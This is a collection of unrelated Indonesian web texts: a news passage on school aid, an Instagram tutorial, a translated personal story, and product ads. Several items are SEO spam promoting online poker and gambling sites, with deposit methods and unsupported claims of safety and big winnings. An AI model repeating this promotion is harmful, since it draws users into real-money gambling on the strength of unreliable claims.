Akhyar mengingatkan, bantuan PIP ini bukan bantuan cuma-cuma, melainkan bantuan uang kepada siswa yang harus dipertanggungjawabkan oleh orangtuanya. Karena uang tersebut dikelola orangtua.
Uang bantuan tersebut dikelola untuk bagaiman memperjuangkan anak bisa cerdas, karena negara ini membutuhkan anak-anak yang cerdas pada masanya.
“Jadi ketika saya dulu berjuang untuk bisa tamat sekolah, sekarang masanya kita orangtua berjuang untuk mencerdaskan anak kita, karena bila anak cerdas dan menjadi generasi unggul masa depan. Saat itulah negara akan semakin maju, saya mengajak bapak/ibu semua bisa sama-sama perjuangkan untuk kecerdasan anak kita, generasi masa depan,” ajaknya.
Dia juga mengingatkan, setelah menerima bantuan PIP ini, para orangtua agar mengawasi anaknya agar uangnya tak habis untuk membeli pulsa, makan bakso, ataupun dipakai orangtuanya membeli rokok, atau lebih parah dipakai pula ke Lapo tuak. Ini tidak dibolehkan.
Para orang tua diminta harus bertanggungjawab dengan uang itu. Karena penerima bantuan PIP harus ikut serta mencerdaskan anak bangsa.
“Hari ini sangat mudah bagi bapak/ibu, sebab sudah dibantu pemerintah. Jangan sia-siakan bantuan PIP ya,” katanya mengingatkan.
Akhyar juga bercerita, dirinya hadir ke YP Pencawan ini seperti datang ke rumah sendiri. Sebab, Pak Pasti Pencawan dengan orangtuanya berteman dekat. Bahkan, dulu sangat sering dirinya bertemu dengan Pak Pasti Pencawan.
“Saya waktu jadi anggota DPRD pun masih sering ke sekolah ini. Jadi sekarang waktu sudah menjadi wakil wali kota serta saat berstatus wakilwakil walikota yang ditambah tugasnya melaksanakan tugas-tugas wali kota sering datang ke sekolah ini. Semoga pak Pasti Pencawan sehat selalu,” tutupnya. (*)

warc-identified-content-language: ind,eng


content: Saya bersedia bertanggung jawab jika laporan yang dikirim mengandung hal yang dilarang / tidak pantas diatas hukum yang berlaku


content:
adminPoker88dominoqq, idn poker, judi poker online, mitrapoker88, poker, poker online, poker88, situs poker online
Informasi Terkait Permainan Kartu Online Di Indonesia
Pada kesempatan artikel kali ini kami akan membahas beberapa pengetahuan serta informasi dasar permainan poker. Bagi beberapa orang mungkin sudah sangat mengenal permainan ini, Karena sudah sangat banyak sekali orang dan juga para pemain yang melakukan jenis permainan tersebut.
Maka tidak heran bilamana para pemain sudah sangat mengerti jenis permainan itu. Poker merupakan salah satu jenis kartu dengan jumlah total kartu 52 kartu Remi. Permainan itu sangat sekali di mainkan oleh kalangan kalangan yang masih muda jelas sekali karena bermain permainan ini memiliki suatu strategi dan cara bermain yang baik.
Mungkin untuk beberapa kalangan dewasa atau tua lebih kurang minatnya untuk bermain permainan itu. Mengapa demikian setelah kami telusuri jenis permainan poker memang tidak disukai oleh kalangan kalangan tua maka dari itu kami simpulkan kalangan muda Lebih tertarik atas permainan tersebut, emang permainan tersebut sudah ada sejak dahulu kala dimainkan.
Permainan Poker Jenis Peminat Terbanyak Seluruh Indonesia
Apakah anda tahu Permainan poker memiliki suatu turnamen besar yang diikuti para pemain di dunia dengan total hadiah kemenangan terbesar. Turnament tersebut Selalu Diincar oleh alih profesional permainan poker turnament yang diselenggarakan secara setahun sekali sangat mengundang perhatian para pemain pro.
Turnamen tersebut dinamakan sebagai world of series poker Nah mungkin bagi kalian yang sering bermain poker mana tahu anda bisa mengikuti ajang internasional tersebut. Mungkin anda harus memiliki suatu latihan terlebih dahulu seperti Bermain dalam poker online bukan hanya sekedar bermain dan latihan saja. Tetapi anda bisa mendapatkan serta meraih suatu keuntungan hadiah kemenangan secara sangat besar sekali.
Agen Bandar Judi Poker Online Teraman Dimainkan
Permainan Mitrapoker88 sudah sangat terkenal Yang dimainkan oleh banyak pemain sebagai salah satu agen bandar judo online terbesar se Asia. Memiliki bonus terbesar pernah Anda tidak akan bisa menemukan suatu hadiah terbesar selain di poker88 Selain itu situs tersebut juga menyediakan serta menyongkong layanan terbaik seperti customer service yang selalu hidup secara online 24 jam.
Sebagai situs paling aman kami juga telah dilengkapin suatu keamanan yang paling canggih sekali secara teknologi tertinggi diantara situs situs lainnya. Dengan para pemain tidak akan khawatir kembali semua data data yang diberikan kepada kami Makan dijaga secara ketat dan aman guna kebocoran data yang akan merugikan pemain.
Selain itu kami juga memberikan suatu transaksi yang lebih mudah untuk para pemain secara lengkap agar calon pemaon akan lebih leluasa bermain permainan bersama kami. Sebagai berikut:
Bank BNI
Bank BCA
Bank Mandiri
Bank BRI
Bank CIMB
Bank Danamon
Deposit Gopay
Deposit Ovoo
Deposit Link Aja
Deposit Pulsa
Nah dengan semua kelengkapan sebuah transaksi para pemain tidak harus bingung lagi Karena bisa memakai semua sistem transaksasi tersebut secara mudah dan instans tanpa harus susah. Bilamana anda menggunakan bank atm sebagai transaksi dan dimana bank yang digunakan sudah offline, maka anda bisa menggunakan beberapa deposit yang tersedia seperti gopay, ovoo, ataupun pulsa. Mungkin itu alternatif terbaik disaat bank yang anda pakai sedang memiliki jam offline.
Sekaian dari artikel pada hari ini semoga para pembaca maupun pengunjung situs mendapatkan suatu informasi terbaik dalam hal nya bermain kartu online uang asli. Terima Kasih!
08 Dec
HADIR SITUS IDN POKER TERPERCAYA DAN TERBAIK DI INDONESIA – WARGAPOKER
adminPokeragen idn play, bandar poker online, dominoqq, idn play, idn play resmi, idn poker, idn poker resmi, idn poker terbaik, idn poker terlengkap, idn poker terpercaya, judi idn play, judi online, poker online, poker online terbaik, poker online terpercaya, poker online uang asli, situs idn poker, situs poker online
Permainan poker sudah menjadi salah satu olahraga yang diakui secara internasional. Namun karena pemikiran terbelakang oleh para masyarakat di indonesia permainan poker dianggap sebagai sebuah perjudian. Namun tidak perlu takut karena anda bisa bermain game poker online bersama dengan warga poker. Situs idn poker terpercaya ini pastinya akan menghasilkan keuntungan tanpa kecurangan. Fitur player versus player dan tanpa robot pasti akan membantu anda untuk mengatasi kemampuan anda bermain poker online.
SITUS IDN POKER ONLINE FITUR TERPADU
Wargapoker dengan sistem keamanannya yang baru mampu menjaga informasi anda agar tetap dirahasiakan. Lalu transaksi yang anda lakukan di dalam situs idn poker ini juga pastinya akan sangat aman. Semua dana yang anda transfer pasti akan langsung kami ubah menjadi chip poker. Dan sebaliknya jika anda melakukan pencairan dana maka anda akan kami transfer langsung menggunakan rekening kami yang bersih kepada anda.
IDN POKER KOMBINASIKAN GAME YANG MENGUNTUNGKAN BUAT ANDA
Anda dapat menikmati macam-macam permainan selain permainan poker online. Ada alternatif permainan poker seperti em dan capsa yang bisa anda mainkan bersama dengan wargapoker. Ada juga game-game menarik lainnya seperti domino dan blackjack yang bisa anda mainkan juga. Intinya semua permainan yang tersedia di wargapoker bisa menghasilkan keuntungan besar bagi anda. Anda tidak perlu waktu lama dan sudah bisa mendaftarkan diri anda bersama dengan wargapoker hari ini juga. Situs idn poker ini selalu menerima pendaftaran baru untuk semua orang yang tertarik bermain poker online
AYO DAFTAR DAN DAPATKAN BANYAK BONUS IDN POKER ONLINE MENARIK
Untuk bisa menghasilkan keuntungan lebih besar wargapoker juga menawarkan banyak sekali bonus-bonus menarik kepada para member idn poker ketik salah satu bonus yang bisa didapatkan adalah bonus referral dan bonus jackpot. Bonus referal bisa dapatkan ketika anda mengajak teman anda untuk bergabung. Bonus jackpot bisa anda dapatkan ketika anda bergabung dan membeli kupon jackpot. Kupon jackpot ini akan aktif ketika anda mendapatkan urutan kartu yang kami tetapkan sebagai jackpot.
Daftarkan diri anda sekarang juga untuk mendapatkan sebuah akun idn poker bersama dengan warga poker. Ingat internet dan password anda untuk bisa login. Isi saldo di akun idn poker anda untuk bisa langsung bermain hari ini juga. Anda bisa mendapatkan keuntungan besar bersama dengan warga poker hari ini juga.
11 Jan
Server Agen Idn Poker Online Terbaik – Rekanpoker
adminGames, Pokeragen idn poker online, idn poker, poker idn, poker online, rekanpoker, situs poker online, situs poker terpercaya
Rekanpoker adalah salah satu situs agen poker online terbaik dan terpopuler di indonesia. Yang bekerja sama bersama salah satu server atau program terbaik judi online yang beroperasi di kota manila philipin yaitu server idnplay.
Bagi para pecinta poker online tentu sudah mengenal dengan server idnplay. Idnplay merupakan server judi online terbaik dan terpopuler di asia. Dengan dilengkapi keamanan dan layanan super canggih membuat idnplay semakin hari semakin berkembang di asia. Untuk situs agen idn poker online yang bekerja sama dengan paltform idn play seperti rekanpoker tentu jangan di tanyakan lagi keamanan dan tampilan yang di berikan idn play tentu sangat modern dan tercanggih di antara server atau program situs judi online lainnya.
Tidak bisa di pungkirin lagi dengan pondasi yang sangat canggih dan terbagus sehingga membuat Rekanpoker memilih bekerja sama dengan platform idnplay. Idnplay sendiri sudah sangat profesional dan berpengalaman di bidang judi online, karena sudah secara resmi platform idnplay sudah terverifikasi oleh label PAGCOR dan TESTLAB dari Philipina sehingga tambahan nilai yang sangat penting bahwa server idnplay sudah memang sangat terpercaya dan tidak perlu di ragukan lagi.
Keunggulan Agen Poker Online Yang Menggunakan Platform IDNPLAY – Rekanpoker
Bagi anda para pecinta judi online yang bergabung bersama situs rekanpoker maka anda bisa merasakan sensasi bermain poker online secara aman dan nyaman. Bukan hanya itu saja banyak keunggulan yang bisa anda nikmati jika bergabung bersama bandar idnplay resmi seperti rekanpoker. Untuk bisa mengetahui apa saja keunggulan yang bisa anda nikmati di situs rekanpoker maka silakan simak di bawah ini.
1. Mudahnya Gabung Bersama Rekanpoker Secara Gratis!
Keunggulan pertama yang bisa anda nikmati seperti mudahnya bergabung bersama situs rekanpoker. Untuk bisa bergabung bersama situs platform idnplay resmi seperti rekanpoker tentunya sangat mudah. Anda hanya perlu mengakses situs rekanpoker dan pilih menu daftar yang sudah disediakan. Setelah itu anda akan di minta untuk mengisi data diri anda dengan benar dan valid seperti nama bank ,nama rek ,norek ,no hp dan email.
2. Rekanpoker Agen Poker Online Dengan Jenis Games Terbanyak
Ada banyak jenis game idnplay yang bisa anda mainkan jika bergabung bersama rekanpoker. Berikut ini jenis permainan yang ada di situs rekanpoker:
* Poker Online
* Omaha Poker
* Capsa Susun
* Ceme
* Ceme Keliling
* Dominoqq
* Superten
7 jenis games yang ada di atas bisa anda mainkan semuanya hanya menggunakan 1 user id yang anda daftarkan di situs rekanpoker. Dengan minimal deposit hanya Rp.10,000.
3. Mainkan Semua Permainan Melalui Smartphone Anda
Kini para penggemar judi online bisa bermain semua jenis games yang ada di situs rekanpoker melalui smartphone. Karean situs rekanpoker kini sudah menghadirkan aplikasi ponsel tercanggih yang bisa anda download melalui situs resminya rekanpoker. Aplikasi ini dibuat agar dapat mempermudah anda dalam bermain judi online serta mempermudah anda dalam melakukan transaksi depo wd di situs rekanpoker.
4. Banyak Promo Di Situs Rekanpoker
Banyak promo dan bonus menarik yang bisa anda nikmati bersama situs rekanpoker seperti bonus jackpot dan referral yang bisa anda raih setiap harinya. Dengan modal yang sangat dikit anda bisa berpeluang mendapatkan bonus jackpot ratusan juga setiap harinya. Sedangkan bonus referral bisa anda dapatkan seumur hidup, dengan cara anda hanya perlu mengajak teman atau orang lain untuk ikut bermain permainan yang ada di situs rekanpoker. Dengan begitu anda akan mendapatkan bonus referral sebesar 10%.
Berikut itulah beberapa keunggualan yang bisa anda raih jika bergabung bersama agen idnplay terbaik dan terpercaya seperti situs rekanpoker.


content:
Semuanya dimulai pada hari Rabu pagi. Saya bangun pagi dan bersiap-siap untuk CDS ( Community Development Service). Sebenarnya hari itu tidak ada pertemuan CDS; kami akan pergi ke Iticth (sebuah komunitas yang jauh dari Tempat Penugasan Utama saya) untuk mendapatkan izin.
Saya bersiap-siap tepat waktu, melangkah keluar dengan pakaian NYSC saya yang sangat saya banggakan. Ide pagi itu (seperti biasa) adalah berdiri di pinggir jalan dengan harapan mendapatkan tumpangan untuk teman saya Ben (bukan nama sebenarnya) dan saya.
Saya tidak menghabiskan satu menit di jalan ketika Camry hitam ini (‘Besar untuk apa-apa’ seperti yang biasa disebut) menepi. Sopir menawarkan untuk memberi saya tumpangan; tentu saja itu yang saya cari. Jadi saya melompat pada tawaran itu. Tapi, saya tidak lupa memberitahunya bahwa Ben akan ikut jika dia (pengemudi) tidak keberatan. Dia mengangkat bahu dan berkata “tidak masalah”.
Ben, yang baru saja keluar dari flat kami, terkejut bahwa saya sudah menaiki lift, di dalam mobil dalam hal ini (kami melayani di desa khas di negara bagian Enugu di mana mobil sulit didapat).
Jadi, kami memasuki mobil dengan ucapan syukur kepada pengemudi dan kepada Tuhan. Setidaknya kita baru saja menabung sebagian dari ‘allawee’ kita (tunjangan bulanan).
Perjalanan ke Iticth berjalan lancar, tetapi kami mengenal pengemudi/pemilik mobil dan dua pria lain yang ada di dalam mobil. Dia memperkenalkan dirinya sebagai Arsitek Rogers (bukan nama sebenarnya) dari negara bagian Kogi, berbasis di Lagos tetapi dia sementara berada di komunitas terdekat untuk konstruksi bangunan.
Ben dan saya memperkenalkan diri dan mengakhirinya dengan konvensional “dengan senang hati bertemu dengan Anda”.
Tampaknya fakta bahwa saya mengatakan kepadanya bahwa saya dari negara bagian Akwa Ibom menggelitik dan memicunya untuk meminta nomor saya; ketika dia menurunkan kami di Iticth sebelum menuju ke Nsukka. saya wajib. Setidaknya itu akan menjadi persembahan rasa terima kasih dari kita untuknya. Jadi, dia pergi sambil tersenyum.
Dia menelepon keesokan harinya, meminta untuk duduk bersamaku. Saya mengabulkan permintaan itu dan Ben datang.
‘Tidak nyaman’ adalah namanya malam itu karena Ben berbagi meja dengan kami dan itu tidak memberinya kesempatan untuk mengatakan apa yang jelas-jelas ada di pikirannya.
Akhirnya, dia mendapat kesempatan setelah minuman dan daging dan siap untuk pergi. Saat mengantarnya ke mobilnya, dia meminta saya mengobrol sebentar dengannya.
Jadi kami akhirnya berbicara di mobilnya. Salah langkah oleh saya, kan?
Hal pertama yang dia katakan kepada saya ketika kami sudah menetap adalah bahwa dia memiliki seorang anak, seorang gadis, tinggal bersama saudara perempuannya di Port Harcourt, tetapi dia belum menikah.
Menurutnya, dia memberi tahu saya tentang hal ini karena dia menyukai ketulusan sehingga mendesak saya untuk tulus padanya; tidak ada kebohongan.
Perhatian pertama dan utamanya adalah Ben. Dia menuntut untuk mengetahui apakah saya menjalin hubungan dengannya.
Saya mengatakan kepadanya bahwa gagasan itu umumnya disepakati di antara rekan-rekan kami dan masyarakat pada umumnya, karena kami selalu terlihat bersama dan disewa dan tinggal di flat yang sama, kamar yang berbeda. Hanya kami berdua.
Namun demikian, saya mengatakan kepadanya bahwa saya punya pacar di rumah di Akwa Ibom dan saya benar-benar mencintainya.
Dia mengambil informasi yang sebenarnya dengan cukup baik. Sikap yang dia putuskan setelah diskusi panjang tentang berbagai topik adalah bahwa dia akan menjauh dariku agar tidak menyakiti Ben (apa pun yang dia maksudkan, aku tidak menjalin hubungan dengan Ben).
Sebelum dia mengambil sikap, dia mengatakan kepada saya bahwa dia tidak menginginkan saya sebagai pacarnya atau hanya seorang teman, tetapi dia menginginkan saya sebagai seorang istri! (Begitu saja? Abasi mi!)
Itu mengejutkan bagi saya, karena saya baru mengenalnya sehari dan beberapa jam.
Yah, saya memainkannya dengan keren dan senang.
Mengalir dengan arus untuk melihat ke mana arahnya, meskipun saya sudah memikirkan semuanya tetapi tidak yakin.
Share
Facebook Twitter Pinterest Linkedin
Navigasi pos
Hotel, Tur, Informasi, dan Cara Menuju Cappadocia Turki
Lembah Batu, Devon . Utara
Related Posts
6 Tips Memilih Produk Lifestyle Berkualitas saat Belanja Online
Juni 29, 2022
5 Tips Bepergian ke Nepal dengan Budget Sedikit
Februari 22, 2022
5 Tips Berhubungan Dengan Alam di Dunia yang Sibuk Ini
Februari 22, 2022
AKDSEO merupakan agency digital marketing yang fokus melayani jasa Backlinks dan Link building website, termasuk di dalamnya Jasa Menaikkan DA ( Domain Authority)


content:
Cara Ask Me Question Di Instagram - Bukandroid.com https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js
Home
Aplikasi
Games
Internet
Media Sosial
Smartphone
Tutorial
Cari
BABUKANDROID.com
BABUKANDROID.COM
BABUKANDROID.COM
Home
Aplikasi
Games
Internet
Media Sosial
Smartphone
Tutorial
type here...
Cari
BABUKANDROID.COM
Home
Aplikasi
Games
Internet
Media Sosial
Smartphone
Tutorial
type here...
Cari
Beranda Aplikasi Cara Ask Me Question Di Instagram
Aplikasi
Apps
Info
Tips
Tutorial
Cara Ask Me Question Di Instagram
Penulis
Jimi
-
276
Cara Ask Me Question Di Instagram – Sekarang Instagram sudah berhasil mencapai posisi teratas di salah satu sosial media yang terbesar di dunia yang sudah mencapai jumlah pengguna hingga lebih dari 1 miliar pengguna aktif setiap hari nya. Dan kini selain menyediakan banyak efek dan filter foto yang sangat unik serta menarik, media sosial instagram juga menjadi sangat populer di karenakan oleh banyak nya fitur menarik yang hadir, di mana fitur – fitur tersebut sebagian tidak ada di satu aplikasi yang sama melainkan hanya ada di satu aplikasi yang berfokus di satu fitur, seperti snapchat yang berfokus pada fitur video history nya.
Cara Ask Me Question Di Instagram
Berawal dari muncul nya fitur instagram story yang viral hingga video call yang dapat memungkinkan untuk para pengguna nya berkomunikasi langsung bertatap muka, kini banyak fitur baru lain nya seperti bisa membagikan video selain foto, dalam penggunaan instagram story juga para user bisa menambahkan berbagai stiker – stiker lucu, suhu di sekitar, lokasi user, hashtag, tanggal, sampai polling yang bisa membuat foto atau video menjadi terlihat lebih unik serta menarik. Instagram seperti nya tak henti – henti ingin memanjakan para pengguna nya dengan berbagai fitur unik yang ia miliki, yang mana setelah meluncurkan fitur video chat dan IGTV, kini instagram juga telah merilis fitur tanya – jawab sama seperti AskFM.
Nah, ternyata pihak instagram baru – baru ini secara resmi sudah merilis stiker teranyar nya di InstaStory yang bernama Ask Me Question, di mana kita para user nya dapat mengajukan pertanyaan kepada pengguna lain dan menjawab Ask Me Qustion pengguna lain juga sesuai sama topik yang di pertanya jawab kan. Seperti yang kita ketahui bahwa cara membikin Ask Me Question pada instagram tersebut belakangan ini menjadi salah satu feature yang fenomenal serta melonjak tajam penggunaan nya. Bagaimana tidak, sticker unik pada IG ini di nilai sangat menarik bagi para user nya untuk bersenang – senang mengetahui pertanyaan maupun jawaban dari para follower dan juga following.
Baca Juga :
Cara Mudah Mematikan Akun Instagram Dengan Satu Klik
Cara Stalking Instagram Dengan Aman
Mengenal Lebih Jauh Apa Itu IGTV Pada Instagram
Ask Me Question adalah suatu feature baru dari instagram yang bisa memungkinkan untuk para follower memberi sebuah pertanyaan mengenai apa yang ia unggah pada instagram stories. Melalui sticker baru tersebut kita para user dapat menyediakan kolom pertanyaan yang nantinya akan terunggah di instagram stories pada kolom pertanyaan. Semua pertanyaan tersebut kemudian bisa di tampung serta di jawab oleh akun kita melalui unggahan instagram stories berikutnya nanti. Sticker baru ini memang sangat berguna bagi mereka yang biasa atau berkeinginan untuk berinteraksi dengan para follower mereka.
Cara Ask Me Question Di Instagram
Biasa nya untuk menjawab balasan dari follower, dia si pemilik akun perlu melakukan screenshot terlebih dulu pertanyaan tersebut, baru lah setelah itu di masukan pada direct message mereka. Lalu hasil dari screenshot pertanyaan tadi akan di unggah melalui instagram stories beserta sama jawaban yang ingin di berikan. Untuk cara melakukan nya memang lah sedikit membuat kita repot, akan tetapi dengan ada nya sticker baru InstaStory itu bisa membuat interaksi di antara following dan follower pengguna IG jadi lebih gampang.
Berikut di bawah ini beberapa langkah untuk membuat Ask Me Question pada aplikasi Instagram :
Langkah pertama adalah membuka aplikasi IG pada hp kamu.
Lanjut dengan memilih icon kamera yang terletak di sudut atas kiri aplikasi yang biasa di gunakan untuk bikin Story.
Lalu buat lah story dengan menggunakan mode Normal dan bisa berbentuk foto atau pun video sebagai background, tinggal kamu pilih saja seperti biasa dari gallery.
Jika story tadi sudah anda buat, maka langkah selanjut nya yaitu memilih icon sticker di sudut atas kanan, yang mana sudah saya ungkapkan di atas tadi bahwa Ask Me Question ini sendiri merupakan suatu feature baru sticker dari InstaStory.
Kemudian bisa langsung kalian pilih sticker yang bertuliskan Question pada menu sticker tersebut.
Setelah anda menerapkan langkah di atas maka secara otomatis sticker Ask Me a Question tadi akan langsung muncul pada Story yang kamu bikin sebelum nya.
Kalian bisa langsung menambah kalimat sesuka kalian supaya nanti para followers akan bertanya di sticker Ask Me a Question story anda nanti.
Jika sudah di rasa selesai, kamu bisa langsung membagikan nya sebagai InstaStory punya anda sendiri ataupun orang lain seperti biasa.
Cara Ask Me Question Di Instagram
Semua pertanyaan maupun jawab dari followers akan tampil di dalam menu view pada story yang di buat tadi.
Kalau anda mau menjawab balasan dari followers tadi, maka apl IG akan mengarahkan anda untuk membuat story baru yang nanti nya berisikan jawaban dari balasan followers.
Penting untuk di ketahui bahwa fitur sticker baru Ask Me Question ini membatasi jumlah kata karakter yang di tuliskan di kolom question, jadi sticker ini bisa digunakan untuk pertanyaan singkat saja yang kurang dari tiga baris.
Penutup
Jika sudah memakai versi terbaru dari aplikasi Instagram dan namun masih belum bisa mengakses sticker Ask Me Question ini maka kamu harus sabar menunggu sebab dari pihak IG sendiri juga melakukan pembaharuan secara berkala tidak langsung menyeluruh kepada semua para pengguna nya. Ok sekian dari saya kali ini, jangan lupa untuk share artikel ini yaa, dengan cara menekan opsi share yang ada di bawah, see you next time guyss, thanks for visit.
Facebook
Twitter
WhatsApp
Artikel SebelumnyaCara Memperbaiki 4G Xiaomi Redmi 3 Hilang Setelah Update MIUI 8
Artikel SelanjutnyaTips Dan Trick Penggunaan Instagram
Jimi
Hello people :) Perkenalkan nama saya Jimi, dan hobi saya bermain game PC.. Saya lebih memilih untuk mencari pundi uang dari menulis artikel ya, ketimbang menjadi seorang streaming maupun youtuber :) this is my passion. Thank you for visiting Bukandroid.com and, jangan lupa share artikel kita di atas agar bermanfaat juga untuk sahabat kamu. ^_^

annotation: short_sentences header footer


content:
Situs Permainan Poker Qiuqiu Terbaik Untuk Pemula Saat ini banyak orang memilih memainkan Poker Qiuqiu permainan untuk kartu poker bosan yang sering terjadi pada diri mereka. Bermain judi online menjadi salah satu hal yang...
Continue reading
capsa susun
Poker Pulsa Poker Online
14/08/2020
by John Reed
2 min read
Poker Pulsa Di Indonesia Permainan poker pulsa menjadi salah satu hal yang dicari oleh kartu capsa kebanyakan orang akhir-akhir ini. Poker memang salah satu permainan yang sudah tidak asing lagi khususnya Indonesia. Memiliki...


content:
Flootank telah menjadi yang terdepan dalam merancang dan memfabrikasi tangki custom thermoplastic berbahan High Density Polyethylene dan Polypropylene berkualitas untuk penyimpanan air, bahan kimia, dan media korosif. Tangki kami dirancang dan dibuat dengan mengutamakan keselamatan dan kepedulian terhadap lingkungan.
Untuk menjamin kualitas, tangki thermoplastic Industri kami dirancang dan dibuat dengan acuan standard internasional. Standar Internasional yang kami maksudkan disini adalah DVS 2205 terkait perhitungan tangki dan peralatan yang dibuat dari bahan termoplastik serta Standar Internasional DVS 2206-4, berkaitan dengan pengujian pada tangki, peralatan dan perpipaan dari bahan thermoplastic.
Engineer, teknologi canggih, permesinan serta fabrikator berpengalaman kami dapat memproduksi produk untuk mencapai spesifikasi custom Anda dari mulai tahapan konsep hingga purna-jual. Apakah itu Tangki persegi panjang atau lingkar kemampuan in-house kami memberi ruang lingkup kompetensi untuk melayani berbagai klien dari berbagai industri di Indonesia dengan produk-produk yang:
Perawatannya mudah
Masa pakai nya panjang
Stabil UV
Bebas korosi
Cocok untuk dalam maupun luar ruangan
Aman dan ramah lingkungan
Lolos uji hidrostatis
Lolos uji Spark
Investasi dalam Kualitas
Kami menangani tiap project tangki custom industri dengan passion yang dalam mulai dari konsep, desain, fabrikasi, pemasangan dan dukungan purna jual untuk memberikan “ketenangan” kepada klien kami. Hal ini dapat dicapai tentunya karena kami berinvestasi dalam pelatihan teknisi las kami guna menjamin investasi Anda ditangani oleh tim yang kredibel.
Pelatihan rutin dilakukan pada masing-masing teknisi kami untuk memastikan setiap dari mereka memenuhi persyaratan DVS (German Welding Society) terkait evaluasi las plastik. Teknisi kami bekerja sesuai dengan pelatihan dan standard tinggi tersebut.
Kami memiliki kemampuan untuk melakukan layanan pengelasan dan perbaikan plastik di fasilitas pabrik kami yang lengkap atau di lokasi proyek Anda. Melakukan perbaikan plastik di lokasi proyek tentu dapat mencegah biaya pengiriman yang mahal, biaya “Downtime". Flootank memiliki pengalaman panjang dalam perbaikan produk thermoplastic. Layanan perbaikan ini kami berikan kepada tiap klien guna merespons kebutuhan perbaikan darurat klien dengan cepat. Ahli las plastik kami telah melakukan pengelasan perbaikan darurat untuk berbagai industri, produsen, dan kontraktor. Ketenangan Anda adalah sebuah jaminan dari Kami.
Jika anda tertarik untuk memahami lebih lanjut tentang produk tangki kimia custom dari material High Density Polyethylene (HDPE) dan Polypropylene (PP) jangan ragu untuk hubungi kami di enquiry@flootank.com


content:
Di kategori ini, Anda akan menemukan gambar Antena dan gif animasi bergerak Antena yang menarik! Anda dapat mengunduh atau membuat tautan langsung untuk clip art Antena dan animasi Antena di halaman ini secara gratis ‐ saat Anda mengeklik sebuah gambar atau kartun, Anda dapat melihat perincian yang sesuai.
Yang paling menarik, Anda dapat mengirim semua gambar Antena tersebut sebagai kartu ucapan untuk keluarga dan teman-teman Anda secara gratis dan bahkan menambahkan kata-kata sendiri pada eCard pribadi Anda tersebut.
Seluruh gif gambar animasi Antena dan animasi bergerak Antena dalam kategori ini 100% gratis dan tanpa dikenakan biaya untuk menggunakannya. Sebagai timbal baliknya, kami hanya meminta Anda untuk merekomendasikan layanan kami ini di halaman depan atau beranda situs atau blog Anda. Anda dapat mengetahui lebih banyak tentang hal ini di bagian bantuan.


content: Dengan internet membuka dunia untuk semua orang dan membuat begitu banyak hal tersedia, tidak mengherankan jika kasino online telah menjadi bentuk hiburan online yang populer. Tidak perlu lagi membuat rencana dan pengaturan penginapan untuk mengunjungi kasino Vegas favorit Anda. Anda dapat bersantai di rumah Anda sendiri dan menikmati permainan favorit…


content:
Selama lebih dari 10 tahun perjalanan Infovesta, kami telah menyelenggarakan berbagai acara kerjasama dengan para asosiasi maupun dengan media.
SEMINAR & WORKSHOP
AWARDS
INTERNAL
Silahkan isi form untuk melakukan pendaftaran seminar
Komentar dan Pesan
Untuk informasi lebih lanjut, silakan hubungi marketing kami:
Support 1 : 0895 09345923 (Siti Hamdah)
Support 2 : 0821 1490 0284 (Agustina Paulina)
Telepon : 021 - 5697 2929
Fax : 021 - 5697 2933
Email : support@infovesta.com
PT Infovesta Utama telah dipercaya oleh berbagai media nasional sebagai perusahaan riset yang turut mengembangkan penilaian industri pasar modal dalam berbagai ajang penghargaan, seperti Pemeringkatan Reksa Dana, Pemeringkatan Obligasi dan Pemeringkatan Reksa dana Syariah bekerjasama dengan Majalah Investor sejak tahun 2006. Infovesta juga turut berpartisipasi dalam pemeringkatan saham, bekerjasama dengan media Kontan sejak tahun 2014. Infovesta juga bekerjasama dengan majalah Infobank, melakukan pemeringkatan Unit Link pada tahun 2016 yang melibatkan seluruh perusahaan asuransi di Indonesia.


content:
Jual Karung Jumbo Bag Berkualitas Online Harga Murah adalah salah satu layanan Kami selain memproduksi dan mensupply jumbo bag ke seluruh wilayah Indonesia. Kami menjual karung jumbo bag tersebut dengan jumlah yang Anda butuhkan yang bisa dipesan sesuai dengan kebutuhan Anda. Dengan begitu tentunya Anda yang butuh jumbo bag mempercayakannya pada Kami adalah pilihan yang tepat.
Adanya barang-barang industri baik barang-barang mentah maupun barang curah yang semakin beragam tentunya memerlukan wadah yang tepat yang bisa menampung seluruh jenis barang industry. Hal ini tentunya dengan tujuan agar barang tersebut dapat terjaga dengan aman tanpa terkontaminasi oleh bahan-bahan kimia berbahaya yang ada di sekitarnya. Karung jumbo bag adalah pilihan wadah barang industri yang paling tepat.
Hal ini karena jumbo bag memiliki ukuran yang sangat beragam dan juga tipe yang sangat beragam sehingga tentunya karung jumbo bag tersebut bisa disesuaikan dengan jumlah barang industri dan juga jenis barang yang akan dimasukkan ke dalam wadah tersebut.
Tentu saja jumbo bag dengan ukuran dan jenis yang beragam saja tidak cukup bukan? Diperlukan juga karung jumbo bag yang berkualitas yang terbuat dari bahan-bahan yang terjamin keamanannnya.
Nah jika Anda mempercayakan kebutuhan jumbo bag perusahaan Anda pada Kami jumbobagbekas.com semua jumbo bag dengan syarat keamanan dapat terpenuhi. Hal ini karena di tempat Kami jumbo bag adalah jumbo bag berkualitas yang dibuat dari bahan berstandar Indonesia yaitu bahan PP Woven Cloth 200 gram dengan ketebalan 2000/ 1800 Diner.
Selain dibuat dari bahan berkualitas, jumbo bag yang Kami sediakan juga terbagi menjadi berbagai ukuran jumbo bag beserta fungsinya, berikut ukuran jumbo bag dan fungsinya :
Jumbo Bag Ukuran 100 x 100 x 120 cm.
Kapasitas 1 ton, sangat cocok untuk tempat material, misalnya pasir besi, limbah hasil tambang dll
Jumbo Bag Ukuran 90 x 90 x 130 cm.
Kapasitas antara 1 – 1,5 ton, bisa digunakan sebagai wadah untuk pupuk, dll.
Jumbo Bag Ukuran 90 x 90 x 110 cm.
Kapasitas bisa lebih berat dan bisa digunakan sebagai tempat untuk material yang lebih berat.
Keuntungan lainnya yang bisa Anda dapatkan dari membeli jumbo bag di tempat Kami adalah Anda bisa memesan jumbo bag dengan ukuran yang disesuaikan dengan kebutuhan Anda. Sehingga Anda bisa mendapatkan jumbo bag tanpa harus memotongnya atau memperbaikinya sesuai ukuran kebutuhan Anda. Kami juga menyediakan jumbo bag baru dan jumbo bag bekas untuk Anda.
Sudah tau bukan bagaimana kualitas karung jumbo bag Kami? Masih belum percaya bahwa Kami Jual Karung Jumbo Bag Berkualitas Online Harga Murah? Tunggu apalagi? Yuk pesan sekarang !
Buktikan bahwa Kami adalah perusahaan yang tepat untuk penjualan jumbo bag berkualitas dengan harga yang terjangkau.
Updated: June 10, 2017 — 3:40 am
